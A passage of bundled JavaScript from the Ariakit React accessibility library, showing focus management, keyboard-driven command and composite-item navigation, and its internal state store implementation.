7097 const tagName = element.tagName.toLowerCase();
7098 if (tagName === "input" && element.type) {
7099 return element.type === "radio" || element.type === "checkbox";
7100 }
7101 return false;
7102 }
7103 function isNativeTabbable(tagName) {
7104 if (!tagName) return true;
7105 return tagName === "button" || tagName === "summary" || tagName === "input" || tagName === "select" || tagName === "textarea" || tagName === "a";
7106 }
7107 function supportsDisabledAttribute(tagName) {
7108 if (!tagName) return true;
7109 return tagName === "button" || tagName === "input" || tagName === "select" || tagName === "textarea";
7110 }
7111 function getTabIndex(focusable, trulyDisabled, nativeTabbable, supportsDisabled, tabIndexProp) {
7112 if (!focusable) {
7113 return tabIndexProp;
7114 }
7115 if (trulyDisabled) {
7116 if (nativeTabbable && !supportsDisabled) {
7117 return -1;
7118 }
7119 return;
7120 }
7121 if (nativeTabbable) {
7122 return tabIndexProp;
7123 }
7124 return tabIndexProp || 0;
7125 }
7126 function useDisableEvent(onEvent, disabled) {
7127 return useEvent((event) => {
7128 onEvent == null ? void 0 : onEvent(event);
7129 if (event.defaultPrevented) return;
7130 if (disabled) {
7131 event.stopPropagation();
7132 event.preventDefault();
7133 }
7134 });
7135 }
7136 var hasInstalledGlobalEventListeners2 = false;
7137 var isKeyboardModality = true;
7138 function onGlobalMouseDown(event) {
7139 const target = event.target;
7140 if (target && "hasAttribute" in target) {
7141 if (!target.hasAttribute("data-focus-visible")) {
7142 isKeyboardModality = false;
7143 }
7144 }
7145 }
7146 function onGlobalKeyDown(event) {
7147 if (event.metaKey) return;
7148 if (event.ctrlKey) return;
7149 if (event.altKey) return;
7150 isKeyboardModality = true;
7151 }
7152 var useFocusable = createHook(
7153 function useFocusable2({
7154 focusable = true,
7155 accessibleWhenDisabled,
7156 autoFocus,
7157 onFocusVisible,
7158 ...props
7159 }) {
7160 const ref = (0, import_react9.useRef)(null);
7161 (0, import_react9.useEffect)(() => {
7162 if (!focusable) return;
7163 if (hasInstalledGlobalEventListeners2) return;
7164 addGlobalEventListener("mousedown", onGlobalMouseDown, true);
7165 addGlobalEventListener("keydown", onGlobalKeyDown, true);
7166 hasInstalledGlobalEventListeners2 = true;
7167 }, [focusable]);
7168 if (isSafariBrowser) {
7169 (0, import_react9.useEffect)(() => {
7170 if (!focusable) return;
7171 const element = ref.current;
7172 if (!element) return;
7173 if (!isNativeCheckboxOrRadio(element)) return;
7174 const labels = getLabels(element);
7175 if (!labels) return;
7176 const onMouseUp = () => queueMicrotask(() => element.focus());
7177 for (const label of labels) {
7178 label.addEventListener("mouseup", onMouseUp);
7179 }
7180 return () => {
7181 for (const label of labels) {
7182 label.removeEventListener("mouseup", onMouseUp);
7183 }
7184 };
7185 }, [focusable]);
7186 }
7187 const disabled = focusable && disabledFromProps(props);
7188 const trulyDisabled = !!disabled && !accessibleWhenDisabled;
7189 const [focusVisible, setFocusVisible] = (0, import_react9.useState)(false);
7190 (0, import_react9.useEffect)(() => {
7191 if (!focusable) return;
7192 if (trulyDisabled && focusVisible) {
7193 setFocusVisible(false);
7194 }
7195 }, [focusable, trulyDisabled, focusVisible]);
7196 (0, import_react9.useEffect)(() => {
7197 if (!focusable) return;
7198 if (!focusVisible) return;
7199 const element = ref.current;
7200 if (!element) return;
7201 if (typeof IntersectionObserver === "undefined") return;
7202 const observer = new IntersectionObserver(() => {
7203 if (!isFocusable(element)) {
7204 setFocusVisible(false);
7205 }
7206 });
7207 observer.observe(element);
7208 return () => observer.disconnect();
7209 }, [focusable, focusVisible]);
7210 const onKeyPressCapture = useDisableEvent(
7211 props.onKeyPressCapture,
7212 disabled
7213 );
7214 const onMouseDownCapture = useDisableEvent(
7215 props.onMouseDownCapture,
7216 disabled
7217 );
7218 const onClickCapture = useDisableEvent(props.onClickCapture, disabled);
7219 const onMouseDownProp = props.onMouseDown;
7220 const onMouseDown = useEvent((event) => {
7221 onMouseDownProp == null ? void 0 : onMouseDownProp(event);
7222 if (event.defaultPrevented) return;
7223 if (!focusable) return;
7224 const element = event.currentTarget;
7225 if (!isSafariBrowser) return;
7226 if (isPortalEvent(event)) return;
7227 if (!isButton(element) && !isNativeCheckboxOrRadio(element)) return;
7228 let receivedFocus = false;
7229 const onFocus = () => {
7230 receivedFocus = true;
7231 };
7232 const options = { capture: true, once: true };
7233 element.addEventListener("focusin", onFocus, options);
7234 const focusableContainer = getClosestFocusable(element.parentElement);
7235 markSafariFocusAncestor(focusableContainer, true);
7236 queueBeforeEvent(element, "mouseup", () => {
7237 element.removeEventListener("focusin", onFocus, true);
7238 markSafariFocusAncestor(focusableContainer, false);
7239 if (receivedFocus) return;
7240 focusIfNeeded(element);
7241 });
7242 });
7243 const handleFocusVisible = (event, currentTarget) => {
7244 if (currentTarget) {
7245 event.currentTarget = currentTarget;
7246 }
7247 if (!focusable) return;
7248 const element = event.currentTarget;
7249 if (!element) return;
7250 if (!hasFocus(element)) return;
7251 onFocusVisible == null ? void 0 : onFocusVisible(event);
7252 if (event.defaultPrevented) return;
7253 element.dataset.focusVisible = "true";
7254 setFocusVisible(true);
7255 };
7256 const onKeyDownCaptureProp = props.onKeyDownCapture;
7257 const onKeyDownCapture = useEvent((event) => {
7258 onKeyDownCaptureProp == null ? void 0 : onKeyDownCaptureProp(event);
7259 if (event.defaultPrevented) return;
7260 if (!focusable) return;
7261 if (focusVisible) return;
7262 if (event.metaKey) return;
7263 if (event.altKey) return;
7264 if (event.ctrlKey) return;
7265 if (!isSelfTarget(event)) return;
7266 const element = event.currentTarget;
7267 const applyFocusVisible = () => handleFocusVisible(event, element);
7268 queueBeforeEvent(element, "focusout", applyFocusVisible);
7269 });
7270 const onFocusCaptureProp = props.onFocusCapture;
7271 const onFocusCapture = useEvent((event) => {
7272 onFocusCaptureProp == null ? void 0 : onFocusCaptureProp(event);
7273 if (event.defaultPrevented) return;
7274 if (!focusable) return;
7275 if (!isSelfTarget(event)) {
7276 setFocusVisible(false);
7277 return;
7278 }
7279 const element = event.currentTarget;
7280 const applyFocusVisible = () => handleFocusVisible(event, element);
7281 if (isKeyboardModality || isAlwaysFocusVisible(event.target)) {
7282 queueBeforeEvent(event.target, "focusout", applyFocusVisible);
7283 } else {
7284 setFocusVisible(false);
7285 }
7286 });
7287 const onBlurProp = props.onBlur;
7288 const onBlur = useEvent((event) => {
7289 onBlurProp == null ? void 0 : onBlurProp(event);
7290 if (!focusable) return;
7291 if (!isFocusEventOutside(event)) return;
7292 event.currentTarget.removeAttribute("data-focus-visible");
7293 setFocusVisible(false);
7294 });
7295 const autoFocusOnShow = (0, import_react9.useContext)(FocusableContext);
7296 const autoFocusRef = useEvent((element) => {
7297 if (!focusable) return;
7298 if (!autoFocus) return;
7299 if (!element) return;
7300 if (!autoFocusOnShow) return;
7301 queueMicrotask(() => {
7302 if (hasFocus(element)) return;
7303 if (!isFocusable(element)) return;
7304 element.focus();
7305 });
7306 });
7307 const tagName = useTagName(ref);
7308 const nativeTabbable = focusable && isNativeTabbable(tagName);
7309 const supportsDisabled = focusable && supportsDisabledAttribute(tagName);
7310 const styleProp = props.style;
7311 const style = (0, import_react9.useMemo)(() => {
7312 if (trulyDisabled) {
7313 return { pointerEvents: "none", ...styleProp };
7314 }
7315 return styleProp;
7316 }, [trulyDisabled, styleProp]);
7317 props = {
7318 "data-focus-visible": focusable && focusVisible || void 0,
7319 "data-autofocus": autoFocus || void 0,
7320 "aria-disabled": disabled || void 0,
7321 ...props,
7322 ref: useMergeRefs(ref, autoFocusRef, props.ref),
7323 style,
7324 tabIndex: getTabIndex(
7325 focusable,
7326 trulyDisabled,
7327 nativeTabbable,
7328 supportsDisabled,
7329 props.tabIndex
7330 ),
7331 disabled: supportsDisabled && trulyDisabled ? true : void 0,
7332 // TODO: Test Focusable contentEditable.
7333 contentEditable: disabled ? void 0 : props.contentEditable,
7334 onKeyPressCapture,
7335 onClickCapture,
7336 onMouseDownCapture,
7337 onMouseDown,
7338 onKeyDownCapture,
7339 onFocusCapture,
7340 onBlur
7341 };
7342 return removeUndefinedValues(props);
7343 }
7344 );
7345 var Focusable = forwardRef22(function Focusable2(props) {
7346 const htmlProps = useFocusable(props);
7347 return createElement3(TagName2, htmlProps);
7348 });
7349
7350 // node_modules/@ariakit/react-core/esm/__chunks/PZ3OL7I2.js
7351 var import_react10 = __toESM(require_react(), 1);
7352 var TagName3 = "button";
7353 function isNativeClick(event) {
7354 if (!event.isTrusted) return false;
7355 const element = event.currentTarget;
7356 if (event.key === "Enter") {
7357 return isButton(element) || element.tagName === "SUMMARY" || element.tagName === "A";
7358 }
7359 if (event.key === " ") {
7360 return isButton(element) || element.tagName === "SUMMARY" || element.tagName === "INPUT" || element.tagName === "SELECT";
7361 }
7362 return false;
7363 }
7364 var symbol = /* @__PURE__ */ Symbol("command");
7365 var useCommand = createHook(
7366 function useCommand2({ clickOnEnter = true, clickOnSpace = true, ...props }) {
7367 const ref = (0, import_react10.useRef)(null);
7368 const [isNativeButton, setIsNativeButton] = (0, import_react10.useState)(false);
7369 (0, import_react10.useEffect)(() => {
7370 if (!ref.current) return;
7371 setIsNativeButton(isButton(ref.current));
7372 }, []);
7373 const [active, setActive] = (0, import_react10.useState)(false);
7374 const activeRef = (0, import_react10.useRef)(false);
7375 const disabled = disabledFromProps(props);
7376 const [isDuplicate, metadataProps] = useMetadataProps(props, symbol, true);
7377 const onKeyDownProp = props.onKeyDown;
7378 const onKeyDown = useEvent((event) => {
7379 onKeyDownProp == null ? void 0 : onKeyDownProp(event);
7380 const element = event.currentTarget;
7381 if (event.defaultPrevented) return;
7382 if (isDuplicate) return;
7383 if (disabled) return;
7384 if (!isSelfTarget(event)) return;
7385 if (isTextField(element)) return;
7386 if (element.isContentEditable) return;
7387 const isEnter = clickOnEnter && event.key === "Enter";
7388 const isSpace = clickOnSpace && event.key === " ";
7389 const shouldPreventEnter = event.key === "Enter" && !clickOnEnter;
7390 const shouldPreventSpace = event.key === " " && !clickOnSpace;
7391 if (shouldPreventEnter || shouldPreventSpace) {
7392 event.preventDefault();
7393 return;
7394 }
7395 if (isEnter || isSpace) {
7396 const nativeClick = isNativeClick(event);
7397 if (isEnter) {
7398 if (!nativeClick) {
7399 event.preventDefault();
7400 const { view, ...eventInit } = event;
7401 const click = () => fireClickEvent(element, eventInit);
7402 if (isFirefox()) {
7403 queueBeforeEvent(element, "keyup", click);
7404 } else {
7405 queueMicrotask(click);
7406 }
7407 }
7408 } else if (isSpace) {
7409 activeRef.current = true;
7410 if (!nativeClick) {
7411 event.preventDefault();
7412 setActive(true);
7413 }
7414 }
7415 }
7416 });
7417 const onKeyUpProp = props.onKeyUp;
7418 const onKeyUp = useEvent((event) => {
7419 onKeyUpProp == null ? void 0 : onKeyUpProp(event);
7420 if (event.defaultPrevented) return;
7421 if (isDuplicate) return;
7422 if (disabled) return;
7423 if (event.metaKey) return;
7424 const isSpace = clickOnSpace && event.key === " ";
7425 if (activeRef.current && isSpace) {
7426 activeRef.current = false;
7427 if (!isNativeClick(event)) {
7428 event.preventDefault();
7429 setActive(false);
7430 const element = event.currentTarget;
7431 const { view, ...eventInit } = event;
7432 queueMicrotask(() => fireClickEvent(element, eventInit));
7433 }
7434 }
7435 });
7436 props = {
7437 "data-active": active || void 0,
7438 type: isNativeButton ? "button" : void 0,
7439 ...metadataProps,
7440 ...props,
7441 ref: useMergeRefs(ref, props.ref),
7442 onKeyDown,
7443 onKeyUp
7444 };
7445 props = useFocusable(props);
7446 return props;
7447 }
7448 );
7449 var Command = forwardRef22(function Command2(props) {
7450 const htmlProps = useCommand(props);
7451 return createElement3(TagName3, htmlProps);
7452 });
7453
7454 // node_modules/@ariakit/core/esm/__chunks/SXKM4CGU.js
7455 function getInternal(store, key) {
7456 const internals = store.__unstableInternals;
7457 invariant(internals, "Invalid store");
7458 return internals[key];
7459 }
7460 function createStore(initialState, ...stores) {
7461 let state = initialState;
7462 let prevStateBatch = state;
7463 let lastUpdate = /* @__PURE__ */ Symbol();
7464 let destroy = noop2;
7465 const instances = /* @__PURE__ */ new Set();
7466 const updatedKeys = /* @__PURE__ */ new Set();
7467 const setups = /* @__PURE__ */ new Set();
7468 const listeners = /* @__PURE__ */ new Set();
7469 const batchListeners = /* @__PURE__ */ new Set();
7470 const disposables = /* @__PURE__ */ new WeakMap();
7471 const listenerKeys = /* @__PURE__ */ new WeakMap();
7472 const storeSetup = (callback) => {
7473 setups.add(callback);
7474 return () => setups.delete(callback);
7475 };
7476 const storeInit = () => {
7477 const initialized = instances.size;
7478 const instance = /* @__PURE__ */ Symbol();
7479 instances.add(instance);
7480 const maybeDestroy = () => {
7481 instances.delete(instance);
7482 if (instances.size) return;
7483 destroy();
7484 };
7485 if (initialized) return maybeDestroy;
7486 const desyncs = getKeys(state).map(
7487 (key) => chain(
7488 ...stores.map((store) => {
7489 var _a;
7490 const storeState = (_a = store == null ? void 0 : store.getState) == null ? void 0 : _a.call(store);
7491 if (!storeState) return;
7492 if (!hasOwnProperty(storeState, key)) return;
7493 return sync(store, [key], (state2) => {
7494 setState(
7495 key,
7496 state2[key],
7497 // @ts-expect-error - Not public API. This is just to prevent
7498 // infinite loops.
7499 true
7500 );
7501 });
7502 })
7503 )
7504 );
7505 const teardowns = [];
7506 for (const setup2 of setups) {
7507 teardowns.push(setup2());
7508 }
7509 const cleanups = stores.map(init);
7510 destroy = chain(...desyncs, ...teardowns, ...cleanups);
7511 return maybeDestroy;
7512 };
7513 const sub = (keys, listener, set = listeners) => {
7514 set.add(listener);
7515 listenerKeys.set(listener, keys);
7516 return () => {
7517 var _a;
7518 (_a = disposables.get(listener)) == null ? void 0 : _a();
7519 disposables.delete(listener);
7520 listenerKeys.delete(listener);
7521 set.delete(listener);
7522 };
7523 };
7524 const storeSubscribe = (keys, listener) => sub(keys, listener);
7525 const storeSync = (keys, listener) => {
7526 disposables.set(listener, listener(state, state));
7527 return sub(keys, listener);
7528 };
7529 const storeBatch = (keys, listener) => {
7530 disposables.set(listener, listener(state, prevStateBatch));
7531 return sub(keys, listener, batchListeners);
7532 };
7533 const storePick = (keys) => createStore(pick(state, keys), finalStore);
7534 const storeOmit = (keys) => createStore(omit(state, keys), finalStore);
7535 const getState = () => state;
7536 const setState = (key, value, fromStores = false) => {
7537 var _a;
7538 if (!hasOwnProperty(state, key)) return;
7539 const nextValue = applyState(value, state[key]);
7540 if (nextValue === state[key]) return;
7541 if (!fromStores) {
7542 for (const store of stores) {
7543 (_a = store == null ? void 0 : store.setState) == null ? void 0 : _a.call(store, key, nextValue);
7544 }
7545 }
7546 const prevState = state;
7547 state = { ...state, [key]: nextValue };
7548 const thisUpdate = /* @__PURE__ */ Symbol();
7549 lastUpdate = thisUpdate;
7550 updatedKeys.add(key);
7551 const run = (listener, prev, uKeys) => {
7552 var _a2;
7553 const keys = listenerKeys.get(listener);
7554 const updated = (k) => uKeys ? uKeys.has(k) : k === key;
7555 if (!keys || keys.some(updated)) {
7556 (_a2 = disposables.get(listener)) == null ? void 0 : _a2();
7557 disposables.set(listener, listener(state, prev));
7558 }
7559 };
7560 for (const listener of listeners) {
7561 run(listener, prevState);
7562 }
7563 queueMicrotask(() => {
7564 if (lastUpdate !== thisUpdate) return;
7565 const snapshot = state;
7566 for (const listener of batchListeners) {
7567 run(listener, prevStateBatch, updatedKeys);
7568 }
7569 prevStateBatch = snapshot;
7570 updatedKeys.clear();
7571 });
7572 };
7573 const finalStore = {
7574 getState,
7575 setState,
7576 __unstableInternals: {
7577 setup: storeSetup,
7578 init: storeInit,
7579 subscribe: storeSubscribe,
7580 sync: storeSync,
7581 batch: storeBatch,
7582 pick: storePick,
7583 omit: storeOmit
7584 }
7585 };
7586 return finalStore;
7587 }
7588 function setup(store, ...args) {
7589 if (!store) return;
7590 return getInternal(store, "setup")(...args);
7591 }
7592 function init(store, ...args) {
7593 if (!store) return;
7594 return getInternal(store, "init")(...args);
7595 }
7596 function subscribe(store, ...args) {
7597 if (!store) return;
7598 return getInternal(store, "subscribe")(...args);
7599 }
7600 function sync(store, ...args) {
7601 if (!store) return;
7602 return getInternal(store, "sync")(...args);
7603 }
7604 function batch(store, ...args) {
7605 if (!store) return;
7606 return getInternal(store, "batch")(...args);
7607 }
7608 function omit2(store, ...args) {
7609 if (!store) return;
7610 return getInternal(store, "omit")(...args);
7611 }
7612 function pick2(store, ...args) {
7613 if (!store) return;
7614 return getInternal(store, "pick")(...args);
7615 }
7616 function mergeStore(...stores) {
7617 var _a;
7618 const initialState = {};
7619 for (const store2 of stores) {
7620 const nextState = (_a = store2 == null ? void 0 : store2.getState) == null ? void 0 : _a.call(store2);
7621 if (nextState) {
7622 Object.assign(initialState, nextState);
7623 }
7624 }
7625 const store = createStore(initialState, ...stores);
7626 return Object.assign({}, ...stores, store);
7627 }
7628 function throwOnConflictingProps(props, store) {
7629 if (false) return;
7630 if (!store) return;
7631 const defaultKeys = Object.entries(props).filter(([key, value]) => key.startsWith("default") && value !== void 0).map(([key]) => {
7632 var _a;
7633 const stateKey = key.replace("default", "");
7634 return `${((_a = stateKey[0]) == null ? void 0 : _a.toLowerCase()) || ""}${stateKey.slice(1)}`;
7635 });
7636 if (!defaultKeys.length) return;
7637 const storeState = store.getState();
7638 const conflictingProps = defaultKeys.filter(
7639 (key) => hasOwnProperty(storeState, key)
7640 );
7641 if (!conflictingProps.length) return;
7642 throw new Error(
7643 `Passing a store prop in conjunction with a default state is not supported.
7644
7645const store = useSelectStore();
7646<SelectProvider store={store} defaultValue="Apple" />
7647 ^ ^
7648
7649Instead, pass the default state to the topmost store:
7650
7651const store = useSelectStore({ defaultValue: "Apple" });
7652<SelectProvider store={store} />
7653
7654See https://github.com/ariakit/ariakit/pull/2745 for more details.
7655
7656If there's a particular need for this, please submit a feature request at https://github.com/ariakit/ariakit
7657`
7658 );
7659 }
7660
7661 // node_modules/@ariakit/react-core/esm/__chunks/Q5W46E73.js
7662 var React7 = __toESM(require_react(), 1);
7663 var import_shim = __toESM(require_shim(), 1);
7664 var { useSyncExternalStore } = import_shim.default;
7665 var noopSubscribe = () => () => {
7666 };
7667 function useStoreState(store, keyOrSelector = identity) {
7668 const storeSubscribe = React7.useCallback(
7669 (callback) => {
7670 if (!store) return noopSubscribe();
7671 return subscribe(store, null, callback);
7672 },
7673 [store]
7674 );
7675 const getSnapshot = () => {
7676 const key = typeof keyOrSelector === "string" ? keyOrSelector : null;
7677 const selector2 = typeof keyOrSelector === "function" ? keyOrSelector : null;
7678 const state = store == null ? void 0 : store.getState();
7679 if (selector2) return selector2(state);
7680 if (!state) return;
7681 if (!key) return;
7682 if (!hasOwnProperty(state, key)) return;
7683 return state[key];
7684 };
7685 return useSyncExternalStore(storeSubscribe, getSnapshot, getSnapshot);
7686 }
7687 function useStoreStateObject(store, object) {
7688 const objRef = React7.useRef(
7689 {}
7690 );
7691 const storeSubscribe = React7.useCallback(
7692 (callback) => {
7693 if (!store) return noopSubscribe();
7694 return subscribe(store, null, callback);
7695 },
7696 [store]
7697 );
7698 const getSnapshot = () => {
7699 const state = store == null ? void 0 : store.getState();
7700 let updated = false;
7701 const obj = objRef.current;
7702 for (const prop in object) {
7703 const keyOrSelector = object[prop];
7704 if (typeof keyOrSelector === "function") {
7705 const value = keyOrSelector(state);
7706 if (value !== obj[prop]) {
7707 obj[prop] = value;
7708 updated = true;
7709 }
7710 }
7711 if (typeof keyOrSelector === "string") {
7712 if (!state) continue;
7713 if (!hasOwnProperty(state, keyOrSelector)) continue;
7714 const value = state[keyOrSelector];
7715 if (value !== obj[prop]) {
7716 obj[prop] = value;
7717 updated = true;
7718 }
7719 }
7720 }
7721 if (updated) {
7722 objRef.current = { ...obj };
7723 }
7724 return objRef.current;
7725 };
7726 return useSyncExternalStore(storeSubscribe, getSnapshot, getSnapshot);
7727 }
7728 function useStoreProps(store, props, key, setKey) {
7729 const value = hasOwnProperty(props, key) ? props[key] : void 0;
7730 const setValue = setKey ? props[setKey] : void 0;
7731 const propsRef = useLiveRef({ value, setValue });
7732 useSafeLayoutEffect(() => {
7733 return sync(store, [key], (state, prev) => {
7734 const { value: value2, setValue: setValue2 } = propsRef.current;
7735 if (!setValue2) return;
7736 if (state[key] === prev[key]) return;
7737 if (state[key] === value2) return;
7738 setValue2(state[key]);
7739 });
7740 }, [store, key]);
7741 useSafeLayoutEffect(() => {
7742 if (value === void 0) return;
7743 store.setState(key, value);
7744 return batch(store, [key], () => {
7745 if (value === void 0) return;
7746 store.setState(key, value);
7747 });
7748 });
7749 }
7750 function useStore(createStore2, props) {
7751 const [store, setStore] = React7.useState(() => createStore2(props));
7752 useSafeLayoutEffect(() => init(store), [store]);
7753 const useState28 = React7.useCallback(
7754 (keyOrSelector) => useStoreState(store, keyOrSelector),
7755 [store]
7756 );
7757 const memoizedStore = React7.useMemo(
7758 () => ({ ...store, useState: useState28 }),
7759 [store, useState28]
7760 );
7761 const updateStore = useEvent(() => {
7762 setStore((store2) => createStore2({ ...props, ...store2.getState() }));
7763 });
7764 return [memoizedStore, updateStore];
7765 }
7766
7767 // node_modules/@ariakit/react-core/esm/__chunks/WZWDIE3S.js
7768 var import_react11 = __toESM(require_react(), 1);
7769 var import_jsx_runtime53 = __toESM(require_jsx_runtime(), 1);
7770 var TagName4 = "button";
7771 function isEditableElement(element) {
7772 if (isTextbox(element)) return true;
7773 return element.tagName === "INPUT" && !isButton(element);
7774 }
7775 function getNextPageOffset(scrollingElement, pageUp = false) {
7776 const height = scrollingElement.clientHeight;
7777 const { top } = scrollingElement.getBoundingClientRect();
7778 const pageSize = Math.max(height * 0.875, height - 40) * 1.5;
7779 const pageOffset = pageUp ? height - pageSize + top : pageSize + top;
7780 if (scrollingElement.tagName === "HTML") {
7781 return pageOffset + scrollingElement.scrollTop;
7782 }
7783 return pageOffset;
7784 }
7785 function getItemOffset(itemElement, pageUp = false) {
7786 const { top } = itemElement.getBoundingClientRect();
7787 if (pageUp) {
7788 return top + itemElement.clientHeight;
7789 }
7790 return top;
7791 }
7792 function findNextPageItemId(element, store, next, pageUp = false) {
7793 var _a;
7794 if (!store) return;
7795 if (!next) return;
7796 const { renderedItems } = store.getState();
7797 const scrollingElement = getScrollingElement(element);
7798 if (!scrollingElement) return;
7799 const nextPageOffset = getNextPageOffset(scrollingElement, pageUp);
7800 let id;
7801 let prevDifference;
7802 for (let i2 = 0; i2 < renderedItems.length; i2 += 1) {
7803 const previousId = id;
7804 id = next(i2);
7805 if (!id) break;
7806 if (id === previousId) continue;
7807 const itemElement = (_a = getEnabledItem(store, id)) == null ? void 0 : _a.element;
7808 if (!itemElement) continue;
7809 const itemOffset = getItemOffset(itemElement, pageUp);
7810 const difference = itemOffset - nextPageOffset;
7811 const absDifference = Math.abs(difference);
7812 if (pageUp && difference <= 0 || !pageUp && difference >= 0) {
7813 if (prevDifference !== void 0 && prevDifference < absDifference) {
7814 id = previousId;
7815 }
7816 break;
7817 }
7818 prevDifference = absDifference;
7819 }
7820 return id;
7821 }
7822 function targetIsAnotherItem(event, store) {
7823 if (isSelfTarget(event)) return false;
7824 return isItem(store, event.target);
7825 }
7826 var useCompositeItem = createHook(
7827 function useCompositeItem2({
7828 store,
7829 rowId: rowIdProp,
7830 preventScrollOnKeyDown = false,
7831 moveOnKeyPress = true,
7832 tabbable = false,
7833 getItem: getItemProp,
7834 "aria-setsize": ariaSetSizeProp,
7835 "aria-posinset": ariaPosInSetProp,
7836 ...props
7837 }) {
7838 const context = useCompositeContext();
7839 store = store || context;
7840 const id = useId3(props.id);
7841 const ref = (0, import_react11.useRef)(null);
7842 const row = (0, import_react11.useContext)(CompositeRowContext);
7843 const disabled = disabledFromProps(props);
7844 const trulyDisabled = disabled && !props.accessibleWhenDisabled;
7845 const {
7846 rowId,
7847 baseElement,
7848 isActiveItem,
7849 ariaSetSize,
7850 ariaPosInSet,
7851 isTabbable
7852 } = useStoreStateObject(store, {
7853 rowId(state) {
7854 if (rowIdProp) return rowIdProp;
7855 if (!state) return;
7856 if (!(row == null ? void 0 : row.baseElement)) return;
7857 if (row.baseElement !== state.baseElement) return;
7858 return row.id;
7859 },
7860 baseElement(state) {
7861 return (state == null ? void 0 : state.baseElement) || void 0;
7862 },
7863 isActiveItem(state) {
7864 return !!state && state.activeId === id;
7865 },
7866 ariaSetSize(state) {
7867 if (ariaSetSizeProp != null) return ariaSetSizeProp;
7868 if (!state) return;
7869 if (!(row == null ? void 0 : row.ariaSetSize)) return;
7870 if (row.baseElement !== state.baseElement) return;
7871 return row.ariaSetSize;
7872 },
7873 ariaPosInSet(state) {
7874 if (ariaPosInSetProp != null) return ariaPosInSetProp;
7875 if (!state) return;
7876 if (!(row == null ? void 0 : row.ariaPosInSet)) return;
7877 if (row.baseElement !== state.baseElement) return;
7878 const itemsInRow = state.renderedItems.filter(
7879 (item) => item.rowId === rowId
7880 );
7881 return row.ariaPosInSet + itemsInRow.findIndex((item) => item.id === id);
7882 },
7883 isTabbable(state) {
7884 if (!(state == null ? void 0 : state.renderedItems.length)) return true;
7885 if (state.virtualFocus) return false;
7886 if (tabbable) return true;
7887 if (state.activeId === null) return false;
7888 const item = store == null ? void 0 : store.item(state.activeId);
7889 if (item == null ? void 0 : item.disabled) return true;
7890 if (!(item == null ? void 0 : item.element)) return true;
7891 return state.activeId === id;
7892 }
7893 });
7894 const getItem = (0, import_react11.useCallback)(
7895 (item) => {
7896 var _a;
7897 const nextItem = {
7898 ...item,
7899 id: id || item.id,
7900 rowId,
7901 disabled: !!trulyDisabled,
7902 children: (_a = item.element) == null ? void 0 : _a.textContent
7903 };
7904 if (getItemProp) {
7905 return getItemProp(nextItem);
7906 }
7907 return nextItem;
7908 },
7909 [id, rowId, trulyDisabled, getItemProp]
7910 );
7911 const onFocusProp = props.onFocus;
7912 const hasFocusedComposite = (0, import_react11.useRef)(false);
7913 const onFocus = useEvent((event) => {
7914 onFocusProp == null ? void 0 : onFocusProp(event);
7915 if (event.defaultPrevented) return;
7916 if (isPortalEvent(event)) return;
7917 if (!id) return;
7918 if (!store) return;
7919 if (targetIsAnotherItem(event, store)) return;
7920 const { virtualFocus, baseElement: baseElement2 } = store.getState();
7921 store.setActiveId(id);
7922 if (isTextbox(event.currentTarget)) {
7923 selectTextField(event.currentTarget);
7924 }
7925 if (!virtualFocus) return;
7926 if (!isSelfTarget(event)) return;
7927 if (isEditableElement(event.currentTarget)) return;
7928 if (!(baseElement2 == null ? void 0 : baseElement2.isConnected)) return;
7929 if (isSafari() && event.currentTarget.hasAttribute("data-autofocus")) {
7930 event.currentTarget.scrollIntoView({
7931 block: "nearest",
7932 inline: "nearest"
7933 });
7934 }
7935 hasFocusedComposite.current = true;
7936 const fromComposite = event.relatedTarget === baseElement2 || isItem(store, event.relatedTarget);
7937 if (fromComposite) {
7938 focusSilently(baseElement2);
7939 } else {
7940 baseElement2.focus();
7941 }
7942 });
7943 const onBlurCaptureProp = props.onBlurCapture;
7944 const onBlurCapture = useEvent((event) => {
7945 onBlurCaptureProp == null ? void 0 : onBlurCaptureProp(event);
7946 if (event.defaultPrevented) return;
7947 const state = store == null ? void 0 : store.getState();
7948 if ((state == null ? void 0 : state.virtualFocus) && hasFocusedComposite.current) {
7949 hasFocusedComposite.current = false;
7950 event.preventDefault();
7951 event.stopPropagation();
7952 }
7953 });
7954 const onKeyDownProp = props.onKeyDown;
7955 const preventScrollOnKeyDownProp = useBooleanEvent(preventScrollOnKeyDown);
7956 const moveOnKeyPressProp = useBooleanEvent(moveOnKeyPress);
7957 const onKeyDown = useEvent((event) => {
7958 onKeyDownProp == null ? void 0 : onKeyDownProp(event);
7959 if (event.defaultPrevented) return;
7960 if (!isSelfTarget(event)) return;
7961 if (!store) return;
7962 const { currentTarget } = event;
7963 const state = store.getState();
7964 const item = store.item(id);
7965 const isGrid2 = !!(item == null ? void 0 : item.rowId);
7966 const isVertical = state.orientation !== "horizontal";
7967 const isHorizontal = state.orientation !== "vertical";
7968 const canHomeEnd = () => {
7969 if (isGrid2) return true;
7970 if (isHorizontal) return true;
7971 if (!state.baseElement) return true;
7972 if (!isTextField(state.baseElement)) return true;
7973 return false;
7974 };
7975 const keyMap = {
7976 ArrowUp: (isGrid2 || isVertical) && store.up,
7977 ArrowRight: (isGrid2 || isHorizontal) && store.next,
7978 ArrowDown: (isGrid2 || isVertical) && store.down,
7979 ArrowLeft: (isGrid2 || isHorizontal) && store.previous,
7980 Home: () => {
7981 if (!canHomeEnd()) return;
7982 if (!isGrid2 || event.ctrlKey) {
7983 return store == null ? void 0 : store.first();
7984 }
7985 return store == null ? void 0 : store.previous(-1);
7986 },
7987 End: () => {
7988 if (!canHomeEnd()) return;
7989 if (!isGrid2 || event.ctrlKey) {
7990 return store == null ? void 0 : store.last();
7991 }
7992 return store == null ? void 0 : store.next(-1);
7993 },
7994 PageUp: () => {
7995 return findNextPageItemId(currentTarget, store, store == null ? void 0 : store.up, true);
7996 },
7997 PageDown: () => {
7998 return findNextPageItemId(currentTarget, store, store == null ? void 0 : store.down);
7999 }
8000 };
8001 const action = keyMap[event.key];
8002 if (action) {
8003 if (isTextbox(currentTarget)) {
8004 const selection = getTextboxSelection(currentTarget);
8005 const isLeft = isHorizontal && event.key === "ArrowLeft";
8006 const isRight = isHorizontal && event.key === "ArrowRight";
8007 const isUp = isVertical && event.key === "ArrowUp";
8008 const isDown = isVertical && event.key === "ArrowDown";
8009 if (isRight || isDown) {
8010 const { length: valueLength } = getTextboxValue(currentTarget);
8011 if (selection.end !== valueLength) return;
8012 } else if ((isLeft || isUp) && selection.start !== 0) return;
8013 }
8014 const nextId = action();
8015 if (preventScrollOnKeyDownProp(event) || nextId !== void 0) {
8016 if (!moveOnKeyPressProp(event)) return;
8017 event.preventDefault();
8018 store.move(nextId);
8019 }
8020 }
8021 });
